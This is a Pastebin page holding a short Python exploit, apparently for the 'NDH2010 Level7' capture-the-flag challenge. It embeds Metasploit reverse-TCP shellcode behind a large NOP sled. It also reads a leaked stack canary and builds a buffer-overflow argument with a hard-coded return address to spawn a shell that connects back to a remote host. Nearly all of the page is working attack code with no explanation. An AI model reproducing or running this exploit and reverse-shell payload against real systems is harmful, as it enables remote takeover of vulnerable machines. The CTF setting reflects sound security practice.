Advertisement
Xenithz

NDH2010 Level7

Oct 14th, 2011
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.99 KB | None | 0 0
  1. import commands
  2. from struct import pack
  3. # By Xelenonz Lpx
  4. # linux/x86/shell_reverse_tcp - 71 bytes
  5. # http://www.metasploit.com
  6. # VERBOSE=false, LHOST=x.x.x.x, LPORT=4444,
  7. # ReverseConnectRetries=5, PrependSetresuid=false,
  8. # PrependSetreuid=false, PrependSetuid=false,
  9. # PrependChrootBreak=false, AppendExit=false,
  10. # InitialAutoRunScript=, AutoRunScript=
  11. shell = "\x90"*100000 + "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x7d\x19\x02\xa0\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
  12.  
  13. # shell must export to env first !!
  14. ( stat, canary ) = commands.getstatusoutput( "./lv7pwn" )
  15. print "[+] Inject Canary "+canary
  16. eip = pack("<I",0xbfc4cd24)
  17. canary = pack("<I",int("0x"+canary,16))
  18. arg = "JUNK"*16+canary+"\x90"*12+eip
  19. ( stat, output ) = commands.getstatusoutput( "/home/level7/level7 "+arg)
  20. print output
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement